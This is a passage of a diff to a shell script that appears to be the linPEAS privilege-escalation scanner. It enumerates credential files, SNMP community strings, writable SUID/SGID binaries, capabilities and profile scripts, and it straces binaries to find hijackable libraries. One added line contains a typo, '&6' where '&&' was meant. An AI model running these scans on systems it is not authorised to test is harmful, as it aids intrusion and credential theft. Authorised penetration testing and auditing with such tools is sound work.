"printers\.xml$" | while read f; do ls -ld "$f" | sed -${E} "s,printers\.xml$,${SED_RED},"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_WINDOWS_FILES\" | grep -E \"recentservers\.xml$\"`" ]; then echo_not_found "recentservers.xml"; fi; printf "%s" "$PSTORAGE_WINDOWS_FILES" | grep -E "recentservers\.xml$" | while read f; do ls -ld "$f" | sed -${E} "s,recentservers\.xml$,${SED_RED},"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_WINDOWS_FILES\" | grep -E \"scclient\.exe$\"`" ]; then echo_not_found "scclient.exe"; fi; printf "%s" "$PSTORAGE_WINDOWS_FILES" | grep -E "scclient\.exe$" | while read f; do ls -ld "$f" | sed -${E} "s,scclient\.exe$,${SED_RED},"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_WINDOWS_FILES\" | grep -E \"scheduledtasks\.xml$\"`" ]; then echo_not_found "scheduledtasks.xml"; fi; printf "%s" "$PSTORAGE_WINDOWS_FILES" | grep -E "scheduledtasks\.xml$" | while read f; do ls -ld "$f" | sed -${E} "s,scheduledtasks\.xml$,${SED_RED},"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_WINDOWS_FILES\" | grep -E \"security$\"`" ]; then echo_not_found "security"; fi; printf "%s" "$PSTORAGE_WINDOWS_FILES" | grep -E "security$" | while read f; do ls -ld "$f" | sed -${E} "s,security$,${SED_RED},"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_WINDOWS_FILES\" | grep -E \"security\.sav$\"`" ]; then echo_not_found "security.sav"; fi; printf "%s" "$PSTORAGE_WINDOWS_FILES" | grep -E "security\.sav$" | while read f; do ls -ld "$f" | sed -${E} "s,security\.sav$,${SED_RED},"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_WINDOWS_FILES\" | grep -E \"server\.xml$\"`" ]; then echo_not_found "server.xml"; fi; printf "%s" "$PSTORAGE_WINDOWS_FILES" | grep -E "server\.xml$" | while read f; do ls -ld "$f" | sed -${E} "s,server\.xml$,${SED_RED},"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_WINDOWS_FILES\" | grep -E \"services\.xml$\"`" ]; then echo_not_found "services.xml"; fi; printf "%s" "$PSTORAGE_WINDOWS_FILES" | grep -E "services\.xml$" | while read f; do ls -ld "$f" | sed -${E} "s,services\.xml$,${SED_RED},"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_WINDOWS_FILES\" | grep -E \"setupinfo$\"`" ]; then echo_not_found "setupinfo"; fi; printf "%s" "$PSTORAGE_WINDOWS_FILES" | grep -E "setupinfo$" | while read f; do ls -ld "$f" | sed -${E} "s,setupinfo$,${SED_RED},"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_WINDOWS_FILES\" | grep -E \"setupinfo\.bak$\"`" ]; then echo_not_found "setupinfo.bak"; fi; printf "%s" "$PSTORAGE_WINDOWS_FILES" | grep -E "setupinfo\.bak$" | while read f; do ls -ld "$f" | sed -${E} "s,setupinfo\.bak$,${SED_RED},"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_WINDOWS_FILES\" | grep -E \"sitemanager\.xml$\"`" ]; then echo_not_found "sitemanager.xml"; fi; printf "%s" "$PSTORAGE_WINDOWS_FILES" | grep -E "sitemanager\.xml$" | while read f; do ls -ld "$f" | sed -${E} "s,sitemanager\.xml$,${SED_RED},"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_WINDOWS_FILES\" | grep -E \"sites\.ini$\"`" ]; then echo_not_found "sites.ini"; fi; printf "%s" "$PSTORAGE_WINDOWS_FILES" | grep -E "sites\.ini$" | while read f; do ls -ld "$f" | sed -${E} "s,sites\.ini$,${SED_RED},"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_WINDOWS_FILES\" | grep -E \"software$\"`" ]; then echo_not_found "software"; fi; printf "%s" "$PSTORAGE_WINDOWS_FILES" | grep -E "software$" | while read f; do ls -ld "$f" | sed -${E} "s,software$,${SED_RED},"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_WINDOWS_FILES\" | grep -E \"software\.sav$\"`" ]; then echo_not_found "software.sav"; fi; printf "%s" "$PSTORAGE_WINDOWS_FILES" | grep -E "software\.sav$" | while read f; do ls -ld "$f" | sed -${E} "s,software\.sav$,${SED_RED},"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_WINDOWS_FILES\" | grep -E \"sysprep\.inf$\"`" ]; then echo_not_found "sysprep.inf"; fi; printf "%s" "$PSTORAGE_WINDOWS_FILES" | grep -E "sysprep\.inf$" | while read f; do ls -ld "$f" | sed -${E} "s,sysprep\.inf$,${SED_RED},"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_WINDOWS_FILES\" | grep -E \"sysprep\.xml$\"`" ]; then echo_not_found "sysprep.xml"; fi; printf "%s" "$PSTORAGE_WINDOWS_FILES" | grep -E "sysprep\.xml$" | while read f; do ls -ld "$f" | sed -${E} "s,sysprep\.xml$,${SED_RED},"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_WINDOWS_FILES\" | grep -E \"system\.sav$\"`" ]; then echo_not_found "system.sav"; fi; printf "%s" "$PSTORAGE_WINDOWS_FILES" | grep -E "system\.sav$" | while read f; do ls -ld "$f" | sed -${E} "s,system\.sav$,${SED_RED},"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_WINDOWS_FILES\" | grep -E \"unattend\.txt$\"`" ]; then echo_not_found "unattend.txt"; fi; printf "%s" "$PSTORAGE_WINDOWS_FILES" | grep -E "unattend\.txt$" | while read f; do ls -ld "$f" | sed -${E} "s,unattend\.txt$,${SED_RED},"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_WINDOWS_FILES\" | grep -E \"unattend\.xml$\"`" ]; then echo_not_found "unattend.xml"; fi; printf "%s" "$PSTORAGE_WINDOWS_FILES" | grep -E "unattend\.xml$" | while read f; do ls -ld "$f" | sed -${E} "s,unattend\.xml$,${SED_RED},"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_WINDOWS_FILES\" | grep -E \"unattended\.xml$\"`" ]; then echo_not_found "unattended.xml"; fi; printf "%s" "$PSTORAGE_WINDOWS_FILES" | grep -E "unattended\.xml$" | while read f; do ls -ld "$f" | sed -${E} "s,unattended\.xml$,${SED_RED},"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_WINDOWS_FILES\" | grep -E \"wcx_ftp\.ini$\"`" ]; then echo_not_found "wcx_ftp.ini"; fi; printf "%s" "$PSTORAGE_WINDOWS_FILES" | grep -E "wcx_ftp\.ini$" | while read f; do ls -ld "$f" | sed -${E} "s,wcx_ftp\.ini$,${SED_RED},"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_WINDOWS_FILES\" | grep -E \"web.*\.config$\"`" ]; then echo_not_found "web*.config"; fi; printf "%s" "$PSTORAGE_WINDOWS_FILES" | grep -E "web.*\.config$" | while read f; do ls -ld "$f" | sed -${E} "s,web.*\.config$,${SED_RED},"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_WINDOWS_FILES\" | grep -E \"winscp\.ini$\"`" ]; then echo_not_found "winscp.ini"; fi; printf "%s" "$PSTORAGE_WINDOWS_FILES" | grep -E "winscp\.ini$" | while read f; do ls -ld "$f" | sed -${E} "s,winscp\.ini$,${SED_RED},"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_WINDOWS_FILES\" | grep -E \"wsl\.exe$\"`" ]; then echo_not_found "wsl.exe"; fi; printf "%s" "$PSTORAGE_WINDOWS_FILES" | grep -E "wsl\.exe$" | while read f; do ls -ld "$f" | sed -${E} "s,wsl\.exe$,${SED_RED},"; done; echo ""; + + + print_2title "Analizing Other Interesting Files Files (limit 70)" + if ! [ "`echo \"$PSTORAGE_OTHER_INTERESTING_FILES\" | grep -E \"\.bashrc$\"`" ]; then echo_not_found ".bashrc"; fi; printf "%s" "$PSTORAGE_OTHER_INTERESTING_FILES" | grep -E "\.bashrc$" | while read f; do ls -ld "$f" | sed -${E} "s,\.bashrc$,${SED_RED},"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_OTHER_INTERESTING_FILES\" | grep -E \"\.google_authenticator$\"`" ]; then echo_not_found ".google_authenticator"; fi; printf "%s" "$PSTORAGE_OTHER_INTERESTING_FILES" | grep -E "\.google_authenticator$" | while read f; do ls -ld "$f" | sed -${E} "s,\.google_authenticator$,${SED_RED},"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_OTHER_INTERESTING_FILES\" | grep -E \"hosts\.equiv$\"`" ]; then echo_not_found "hosts.equiv"; fi; printf "%s" "$PSTORAGE_OTHER_INTERESTING_FILES" | grep -E "hosts\.equiv$" | while read f; do ls -ld "$f" | sed -${E} "s,hosts\.equiv$,${SED_RED},"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_OTHER_INTERESTING_FILES\" | grep -E \"\.lesshst$\"`" ]; then echo_not_found ".lesshst"; fi; printf "%s" "$PSTORAGE_OTHER_INTERESTING_FILES" | grep -E "\.lesshst$" | while read f; do ls -ld "$f" | sed -${E} "s,\.lesshst$,${SED_RED},"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_OTHER_INTERESTING_FILES\" | grep -E \"\.plan$\"`" ]; then echo_not_found ".plan"; fi; printf "%s" "$PSTORAGE_OTHER_INTERESTING_FILES" | grep -E "\.plan$" | while read f; do ls -ld "$f" | sed -${E} "s,\.plan$,${SED_RED},"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_OTHER_INTERESTING_FILES\" | grep -E \"\.profile$\"`" ]; then echo_not_found ".profile"; fi; printf "%s" "$PSTORAGE_OTHER_INTERESTING_FILES" | grep -E "\.profile$" | while read f; do ls -ld "$f" | sed -${E} "s,\.profile$,${SED_RED},"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_OTHER_INTERESTING_FILES\" | grep -E \"\.recently-used\.xbel$\"`" ]; then echo_not_found ".recently-used.xbel"; fi; printf "%s" "$PSTORAGE_OTHER_INTERESTING_FILES" | grep -E "\.recently-used\.xbel$" | while read f; do ls -ld "$f" | sed -${E} "s,\.recently-used\.xbel$,${SED_RED},"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_OTHER_INTERESTING_FILES\" | grep -E \"\.rhosts$\"`" ]; then echo_not_found ".rhosts"; fi; printf "%s" "$PSTORAGE_OTHER_INTERESTING_FILES" | grep -E "\.rhosts$" | while read f; do ls -ld "$f" | sed -${E} "s,\.rhosts$,${SED_RED},"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_OTHER_INTERESTING_FILES\" | grep -E \"\.sudo_as_admin_successful$\"`" ]; then echo_not_found ".sudo_as_admin_successful"; fi; printf "%s" "$PSTORAGE_OTHER_INTERESTING_FILES" | grep -E "\.sudo_as_admin_successful$" | while read f; do ls -ld "$f" | sed -${E} "s,\.sudo_as_admin_successful$,${SED_RED},"; done; echo ""; + - #-- SI) SNMP params - printf $Y"[+] "$GREEN"SNMPs\n"$NC - snmpdfiles=$(echo "$FIND_HOME\n$FIND_ETC\n$FIND_VAR\n$FIND_TMP\n$FIND_OPT\n$FIND_USR\n$FIND_MNT\n$FIND_PRIVATE\n$FIND_APPLICATIONS" | grep -E 'snmpd.conf') - printf "%s\n" "$snmpdfiles" | while read f; do - ls -l "$f" 2>/dev/null - cat "$f" 2>/dev/null | grep -E "rocommunity|rwcommunity" | sed -${E} "s,rocommunity|rwcommunity,${C}[1;31m&${C}[0m," - echo "" - done - echo "" echo "" if [ "$WAIT" ]; then echo "Press enter to continue"; read "asd"; fi @@ -2788,11 +2713,11 @@ if [ "`echo $CHECKS | grep IntFiles`" ]; then ########################################### #----------) Interesting files (----------# ########################################### - printf $B"════════════════════════════════════╣ "$GREEN"Interesting Files"$B" ╠════════════════════════════════════\n"$NC + print_title "Interesting Files" ##-- IF) SUID - printf $Y"[+] "$GREEN"SUID - Check easy privesc, exploits and write perms\n"$NC - printf $B"[i] "$Y"https://book.hacktricks.xyz/linux-unix/privilege-escalation#sudo-and-suid\n"$NC + print_2title "SUID - Check easy privesc, exploits and write perms" + print_info "https://book.hacktricks.xyz/linux-unix/privilege-escalation#sudo-and-suid" if ! [ "$STRINGS" ]; then echo_not_found "strings" fi @@ -2802,14 +2727,14 @@ if [ "`echo $CHECKS | grep IntFiles`" ]; then find / -perm -4000 -type f 2>/dev/null | xargs ls -lahtr | while read s; do #If starts like "total 332K" then no SUID bin was found and xargs just executed "ls" in the current folder if [ "`echo \"$s\" | grep -E \"^total\"`" ]; then break; fi - + sname="`echo \"$s\" | awk '{print $9}'`" if [ "$sname" = "." ] || [ "$sname" = ".." ]; then true #Don't do nothing - elif [ -O "$sname" ]; then - echo "You own the SUID file: $sname" | sed -${E} "s,.*,${C}[1;31m&${C}[0m," - elif [ -w "$sname" ]; then #If write permision, win found (no check exploits) - echo "You can write SUID file: $sname" | sed -${E} "s,.*,${C}[1;31;103m&${C}[0m," + elif ! [ "$IAMROOT" ] && [ -O "$sname" ]; then + echo "You own the SUID file: $sname" | sed -${E} "s,.*,${SED_RED}," + elif ! [ "$IAMROOT" ] && [ -w "$sname" ]; then #If write permision, win found (no check exploits) + echo "You can write SUID file: $sname" | sed -${E} "s,.*,${SED_RED_YELLOW}," else c="a" for b in $sidB; do @@ -2821,9 +2746,9 @@ if [ "`echo $CHECKS | grep IntFiles`" ]; then done; if [ "$c" ]; then if [ "`echo \"$s\" | grep -E \"$sidG1\"`" ] || [ "`echo \"$s\" | grep -E \"$sidG2\"`" ] || [ "`echo \"$s\" | grep -E \"$sidG3\"`" ] || [ "`echo \"$s\" | grep -E \"$sidG4\"`" ] || [ "`echo \"$s\" | grep -E \"$sidVB\"`" ] || [ "`echo \"$s\" | grep -E \"$sidVB2\"`" ]; then - echo "$s" | sed -${E} "s,$sidG1,${C}[1;32m&${C}[0m," | sed -${E} "s,$sidG2,${C}[1;32m&${C}[0m," | sed -${E} "s,$sidG3,${C}[1;32m&${C}[0m," | sed -${E} "s,$sidG4,${C}[1;32m&${C}[0m," | sed -${E} "s,$sidVB,${C}[1;31;103m&${C}[0m," | sed -${E} "s,$sidVB2,${C}[1;31;103m&${C}[0m," + echo "$s" | sed -${E} "s,$sidG1,${SED_GREEN}," | sed -${E} "s,$sidG2,${SED_GREEN}," | sed -${E} "s,$sidG3,${SED_GREEN}," | sed -${E} "s,$sidG4,${SED_GREEN}," | sed -${E} "s,$sidVB,${SED_RED_YELLOW}," | sed -${E} "s,$sidVB2,${SED_RED_YELLOW}," else - echo "$s (Unknown SUID binary)" | sed -${E} "s,/.*,${C}[1;31m&${C}[0m," + echo "$s (Unknown SUID binary)" | sed -${E} "s,/.*,${SED_RED}," printf $ITALIC if [ "$STRINGS" ]; then $STRINGS "$sname" 2>/dev/null | sort | uniq | while read sline; do @@ -2844,7 +2769,7 @@ if [ "`echo $CHECKS | grep IntFiles`" ]; then printf $ITALIC echo "----------------------------------------------------------------------------------------" echo " --- Trying to execute $sname with strace in order to look for hijackable libraries..." - timeout 2 "$STRACE" "$sname" 2>&1 | grep -i -E "open|access|no such file" | sed -${E} "s,open|access|No such file,${C}[1;31m&${C}[0m$ITALIC,g" + timeout 2 "$STRACE" "$sname" 2>&1 | grep -i -E "open|access|no such file" | sed -${E} "s,open|access|No such file,${SED_RED}$ITALIC,g" printf $NC echo "----------------------------------------------------------------------------------------" echo "" @@ -2858,8 +2783,8 @@ if [ "`echo $CHECKS | grep IntFiles`" ]; then ##-- IF) SGID - printf $Y"[+] "$GREEN"SGID\n"$NC - printf $B"[i] "$Y"https://book.hacktricks.xyz/linux-unix/privilege-escalation#sudo-and-suid\n"$NC + print_2title "SGID" + print_info "https://book.hacktricks.xyz/linux-unix/privilege-escalation#sudo-and-suid" find / -perm -2000 -type f 2>/dev/null | xargs ls -lahtr | while read s; do #If starts like "total 332K" then no SUID bin was found and xargs just executed "ls" in the current folder if [ "`echo \"$s\" | grep -E \"^total\"`" ];then break; fi @@ -2867,10 +2792,10 @@ if [ "`echo $CHECKS | grep IntFiles`" ]; then sname="`echo \"$s\" | awk '{print $9}'`" if [ "$sname" = "." ] || [ "$sname" = ".." ]; then true #Don't do nothing - elif [ -O "$sname" ]; then - echo "You own the SGID file: $sname" | sed -${E} "s,.*,${C}[1;31m&${C}[0m," - elif [ -w "$sname" ]; then #If write permision, win found (no check exploits) - echo "You can write SGID file: $sname" | sed -${E} "s,.*,${C}[1;31;103m&${C}[0m," + elif ! [ "$IAMROOT" ] && [ -O "$sname" ]; then + echo "You own the SGID file: $sname" | sed -${E} "s,.*,${SED_RED}," + elif ! [ "$IAMROOT" ] &6 [ -w "$sname" ]; then #If write permision, win found (no check exploits) + echo "You can write SGID file: $sname" | sed -${E} "s,.*,${SED_RED_YELLOW}," else c="a" for b in $sidB; do @@ -2882,9 +2807,9 @@ if [ "`echo $CHECKS | grep IntFiles`" ]; then done; if [ "$c" ]; then if [ "`echo \"$s\" | grep -E \"$sidG1\"`" ] || [ "`echo \"$s\" | grep -E \"$sidG2\"`" ] || [ "`echo \"$s\" | grep -E \"$sidG3\"`" ] || [ "`echo \"$s\" | grep -E \"$sidG4\"`" ] || [ "`echo \"$s\" | grep -E \"$sidVB\"`" ] || [ "`echo \"$s\" | grep -E \"$sidVB2\"`" ]; then - echo "$s" | sed -${E} "s,$sidG1,${C}[1;32m&${C}[0m," | sed -${E} "s,$sidG2,${C}[1;32m&${C}[0m," | sed -${E} "s,$sidG3,${C}[1;32m&${C}[0m," | sed -${E} "s,$sidG4,${C}[1;32m&${C}[0m," | sed -${E} "s,$sidVB,${C}[1;31;103m&${C}[0m," | sed -${E} "s,$sidVB2,${C}[1;31;103m&${C}[0m," + echo "$s" | sed -${E} "s,$sidG1,${SED_GREEN}," | sed -${E} "s,$sidG2,${SED_GREEN}," | sed -${E} "s,$sidG3,${SED_GREEN}," | sed -${E} "s,$sidG4,${SED_GREEN}," | sed -${E} "s,$sidVB,${SED_RED_YELLOW}," | sed -${E} "s,$sidVB2,${SED_RED_YELLOW}," else - echo "$s (Unknown SGID binary)" | sed -${E} "s,/.*,${C}[1;31m&${C}[0m," + echo "$s (Unknown SGID binary)" | sed -${E} "s,/.*,${SED_RED}," printf $ITALIC if [ "$STRINGS" ]; then $STRINGS "$sname" | sort | uniq | while read sline; do @@ -2904,7 +2829,7 @@ if [ "`echo $CHECKS | grep IntFiles`" ]; then if [ "$TIMEOUT" ] && [ "$STRACE" ] && [ ! "$SUPERFAST" ]; then printf $ITALIC echo " --- Trying to execute $sname with strace in order to look for hijackable libraries..." - timeout 2 "$STRACE" "$sname" 2>&1 | grep -i -E "open|access|no such file" | sed -${E} "s,open|access|No such file,${C}[1;31m&${C}[0m$ITALIC,g" + timeout 2 "$STRACE" "$sname" 2>&1 | grep -i -E "open|access|no such file" | sed -${E} "s,open|access|No such file,${SED_RED}$ITALIC,g" printf $NC echo "" fi @@ -2916,196 +2841,196 @@ if [ "`echo $CHECKS | grep IntFiles`" ]; then echo "" ##-- IF) Misconfigured ld.so - printf $Y"[+] "$GREEN"Checking misconfigurations of ld.so\n"$NC - printf $B"[i] "$Y"https://book.hacktricks.xyz/linux-unix/privilege-escalation#ld-so\n"$NC + print_2title "Checking misconfigurations of ld.so" + print_info "https://book.hacktricks.xyz/linux-unix/privilege-escalation#ld-so" printf $ITALIC"/etc/ld.so.conf\n"$NC; - cat /etc/ld.so.conf 2>/dev/null | sed -${E} "s,$Wfolders,${C}[1;31;103m&${C}[0m,g" + cat /etc/ld.so.conf 2>/dev/null | sed -${E} "s,$Wfolders,${SED_RED_YELLOW},g" cat /etc/ld.so.conf 2>/dev/null | while read l; do if [ "`echo \"$l\" | grep include`" ]; then ini_path="`echo \"$l\" | cut -d " " -f 2`" fpath="`dirname \"$ini_path\"`" - if [ "`find \"$fpath\" -type f '(' '(' -user $USER ')' -or '(' -perm -o=w ')' -or '(' -perm -g=w -and '(' $wgroups ')' ')' ')' 2>/dev/null`" ]; then echo "You have write privileges over `find \"$fpath\" -type f '(' '(' -user $USER ')' -or '(' -perm -o=w ')' -or '(' -perm -g=w -and '(' $wgroups ')' ')' ')' 2>/dev/null`" | sed -${E} "s,.*,${C}[1;31;103m&${C}[0m,"; fi - printf $ITALIC"$fpath\n"$NC | sed -${E} "s,$Wfolders,${C}[1;31;103m&${C}[0m,g" + if [ "`find \"$fpath\" -type f '(' '(' -user $USER ')' -or '(' -perm -o=w ')' -or '(' -perm -g=w -and '(' $wgroups ')' ')' ')' 2>/dev/null`" ]; then echo "You have write privileges over `find \"$fpath\" -type f '(' '(' -user $USER ')' -or '(' -perm -o=w ')' -or '(' -perm -g=w -and '(' $wgroups ')' ')' ')' 2>/dev/null`" | sed -${E} "s,.*,${SED_RED_YELLOW},"; fi + printf $ITALIC"$fpath\n"$NC | sed -${E} "s,$Wfolders,${SED_RED_YELLOW},g" for f in $fpath/*; do - printf $ITALIC" $f\n"$NC | sed -${E} "s,$Wfolders,${C}[1;31;103m&${C}[0m,g" - cat "$f" | grep -v "^#" | sed -${E} "s,$ldsoconfdG,${C}[1;32m&${C}[0m," | sed -${E} "s,$Wfolders,${C}[1;31;103m&${C}[0m,g" + printf $ITALIC" $f\n"$NC | sed -${E} "s,$Wfolders,${SED_RED_YELLOW},g" + cat "$f" | grep -v "^#" | sed -${E} "s,$ldsoconfdG,${SED_GREEN}," | sed -${E} "s,$Wfolders,${SED_RED_YELLOW},g" done fi done echo "" ##-- IF) Capabilities - printf $Y"[+] "$GREEN"Capabilities\n"$NC - printf $B"[i] "$Y"https://book.hacktricks.xyz/linux-unix/privilege-escalation#capabilities\n"$NC + print_2title "Capabilities" + print_info "https://book.hacktricks.xyz/linux-unix/privilege-escalation#capabilities" echo "Current capabilities:" - (capsh --print 2>/dev/null | grep "Current:" | sed -${E} "s,$capsB,${C}[1;31;103m&${C}[0m," ) || echo_not_found "capsh" - (cat "/proc/$$/status" | grep Cap | sed -${E} "s,.*0000000000000000|CapBnd: 0000003fffffffff,${C}[1;32m&${C}[0m,") 2>/dev/null || echo_not_found "/proc/$$/status" + (capsh --print 2>/dev/null | grep "Current:" | sed -${E} "s,$capsB,${SED_RED_YELLOW}," ) || echo_not_found "capsh" + (cat "/proc/$$/status" | grep Cap | sed -${E} "s,.*0000000000000000|CapBnd: 0000003fffffffff,${SED_GREEN},") 2>/dev/null || echo_not_found "/proc/$$/status" echo "" echo "Shell capabilities:" (capsh --decode=0x"`cat \"/proc/$PPID/status\" 2>/dev/null | grep \"CapEff\" | awk '{print $2}'`" 2>/dev/null) || echo_not_found "capsh" - (cat "/proc/$PPID/status" | grep Cap | sed -${E} "s,.*0000000000000000|CapBnd: 0000003fffffffff,${C}[1;32m&${C}[0m,") 2>/dev/null || echo_not_found "/proc/$PPID/status" + (cat "/proc/$PPID/status" | grep Cap | sed -${E} "s,.*0000000000000000|CapBnd: 0000003fffffffff,${SED_GREEN},") 2>/dev/null || echo_not_found "/proc/$PPID/status" echo "" echo "Files with capabilities (limited to 50):" getcap -r / 2>/dev/null | head -n 50 | while read cb; do - echo "$cb" | sed -${E} "s,$sudocapsB,${C}[1;31m&${C}[0m," | sed -${E} "s,$capsB,${C}[1;31m&${C}[0m," - if [ -w "`echo \"$cb\" | cut -d \" \" -f1`" ]; then - echo "$cb is writable" | sed -${E} "s,.*,${C}[1;31m&${C}[0m," + echo "$cb" | sed -${E} "s,$sudocapsB,${SED_RED}," | sed -${E} "s,$capsB,${SED_RED}," + if ! [ "$IAMROOT" ] && [ -w "`echo \"$cb\" | cut -d \" \" -f1`" ]; then + echo "$cb is writable" | sed -${E} "s,.*,${SED_RED}," fi done echo "" ##-- IF) Users with capabilities - printf $Y"[+] "$GREEN"Users with capabilities\n"$NC - printf $B"[i] "$Y"https://book.hacktricks.xyz/linux-unix/privilege-escalation#capabilities\n"$NC + print_2title "Users with capabilities" + print_info "https://book.hacktricks.xyz/linux-unix/privilege-escalation#capabilities" if [ -f "/etc/security/capability.conf" ]; then - grep -v '^#\|none\|^$' /etc/security/capability.conf 2>/dev/null | sed -${E} "s,$sh_usrs,${C}[1;96m&${C}[0m," | sed -${E} "s,$nosh_usrs,${C}[1;34m&${C}[0m," | sed -${E} "s,$knw_usrs,${C}[1;32m&${C}[0m," | sed "s,$USER,${C}[1;31m&${C}[0m," + grep -v '^#\|none\|^$' /etc/security/capability.conf 2>/dev/null | sed -${E} "s,$sh_usrs,${C}[1;96m&${C}[0m," | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed -${E} "s,$knw_usrs,${SED_GREEN}," | sed "s,$USER,${SED_RED}," else echo_not_found "/etc/security/capability.conf" fi echo "" ##-- IF) Files with ACLs - printf $Y"[+] "$GREEN"Files with ACLs (limited to 50)\n"$NC - printf $B"[i] "$Y"https://book.hacktricks.xyz/linux-unix/privilege-escalation#acls\n"$NC - ((getfacl -t -s -R -p /bin /etc $HOMESEARCH /opt /sbin /usr /tmp /root 2>/dev/null) || echo_not_found "files with acls in searched folders" ) | head -n 50 | sed -${E} "s,$sh_usrs,${C}[1;96m&${C}[0m," | sed -${E} "s,$nosh_usrs,${C}[1;34m&${C}[0m," | sed -${E} "s,$knw_usrs,${C}[1;32m&${C}[0m," | sed "s,$USER,${C}[1;31m&${C}[0m," + print_2title "Files with ACLs (limited to 50)" + print_info "https://book.hacktricks.xyz/linux-unix/privilege-escalation#acls" + ((getfacl -t -s -R -p /bin /etc $HOMESEARCH /opt /sbin /usr /tmp /root 2>/dev/null) || echo_not_found "files with acls in searched folders" ) | head -n 50 | sed -${E} "s,$sh_usrs,${C}[1;96m&${C}[0m," | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed -${E} "s,$knw_usrs,${SED_GREEN}," | sed "s,$USER,${SED_RED}," echo "" - + ##-- IF) .sh files in PATH - printf $Y"[+] "$GREEN".sh files in path\n"$NC - printf $B"[i] "$Y"https://book.hacktricks.xyz/linux-unix/privilege-escalation#script-binaries-in-path\n"$NC - echo $PATH | tr ":" "\n" | while read d; do + print_2title ".sh files in path" + print_info "https://book.hacktricks.xyz/linux-unix/privilege-escalation#script-binaries-in-path" + echo $PATH | tr ":" "\n" | while read d; do for f in `find "$d" -name "*.sh" 2>/dev/null`; do - if [ -O "$f" ]; then - echo "You own the script: $f" | sed -${E} "s,.*,${C}[1;31m&${C}[0m," - elif [ -w "$f" ]; then #If write permision, win found (no check exploits) - echo "You can write script: $f" | sed -${E} "s,.*,${C}[1;31;103m&${C}[0m," + if ! [ "$IAMROOT" ] && [ -O "$f" ]; then + echo "You own the script: $f" | sed -${E} "s,.*,${SED_RED}," + elif ! [ "$IAMROOT" ] && [ -w "$f" ]; then #If write permision, win found (no check exploits) + echo "You can write script: $f" | sed -${E} "s,.*,${SED_RED_YELLOW}," else - echo $f | sed -${E} "s,$shscripsG,${C}[1;32m&${C}[0m," | sed -${E} "s,$Wfolders,${C}[1;31m&${C}[0m,"; + echo $f | sed -${E} "s,$shscripsG,${SED_GREEN}," | sed -${E} "s,$Wfolders,${SED_RED},"; fi done done echo "" ##-- IF) Unexpected folders in / - printf $Y"[+] "$GREEN"Unexpected in root\n"$NC + print_2title "Unexpected in root" if [ "$MACPEAS" ]; then - (find / -maxdepth 1 | grep -Ev "$commonrootdirsMacG" | sed -${E} "s,.*,${C}[1;31m&${C}[0m,") || echo_not_found + (find / -maxdepth 1 | grep -Ev "$commonrootdirsMacG" | sed -${E} "s,.*,${SED_RED},") || echo_not_found else - (find / -maxdepth 1 | grep -Ev "$commonrootdirsG" | sed -${E} "s,.*,${C}[1;31m&${C}[0m,") || echo_not_found + (find / -maxdepth 1 | grep -Ev "$commonrootdirsG" | sed -${E} "s,.*,${SED_RED},") || echo_not_found fi echo "" ##-- IF) Files (scripts) in /etc/profile.d/ - printf $Y"[+] "$GREEN"Files (scripts) in /etc/profile.d/\n"$NC - printf $B"[i] "$Y"https://book.hacktricks.xyz/linux-unix/privilege-escalation#profiles-files\n"$NC + print_2title "Files (scripts) in /etc/profile.d/" + print_info "https://book.hacktricks.xyz/linux-unix/privilege-escalation#profiles-files" if [ ! "$MACPEAS" ]; then #Those folders don´t exist on a MacOS - (ls -la /etc/profile.d/ 2>/dev/null | sed -${E} "s,$profiledG,${C}[1;32m&${C}[0m,") || echo_not_found "/etc/profile.d/" - if [ -w "/etc/profile" ]; then echo "You can modify /etc/profile" | sed -${E} "s,.*,${C}[1;31;103m&${C}[0m,"; fi - if [ -w "/etc/profile.d/" ]; then echo "You have write privileges over /etc/profile.d/" | sed -${E} "s,.*,${C}[1;31;103m&${C}[0m,"; fi - if [ "`find /etc/profile.d/ -type f '(' '(' -user $USER ')' -or '(' -perm -o=w ')' -or '(' -perm -g=w -and '(' $wgroups ')' ')' ')' 2>/dev/null`" ]; then echo "You have write privileges over `find /etc/profile.d/ '(' '(' -user $USER ')' -or '(' -perm -o=w ')' -or '(' -perm -g=w -and '(' $wgroups ')' ')' ')'`" | sed -${E} "s,.*,${C}[1;31;103m&${C}[0m,"; fi + (ls -la /etc/profile.d/ 2>/dev/null | sed -${E} "s,$profiledG,${SED_GREEN},") || echo_not_found "/etc/profile.d/" + if ! [ "$IAMROOT" ] && [ -w "/etc/profile" ]; then echo "You can modify /etc/profile" | sed -${E} "s,.*,${SED_RED_YELLOW},"; fi + if ! [ "$IAMROOT" ] && [ -w "/etc/profile.d/" ]; then echo "You have write privileges over /etc/profile.d/" | sed -${E} "s,.*,${SED_RED_YELLOW},"; fi + if ! [ "$IAMROOT" ] && [ "`find /etc/profile.d/ -type f '(' '(' -user $USER ')' -or '(' -perm -o=w ')' -or '(' -perm -g=w -and '(' $wgroups ')' ')' ')' 2>/dev/null`" ]; then echo "You have write privileges over `find /etc/profile.d/ '(' '(' -user $USER ')' -or '(' -perm -o=w ')' -or '(' -perm -g=w -and '(' 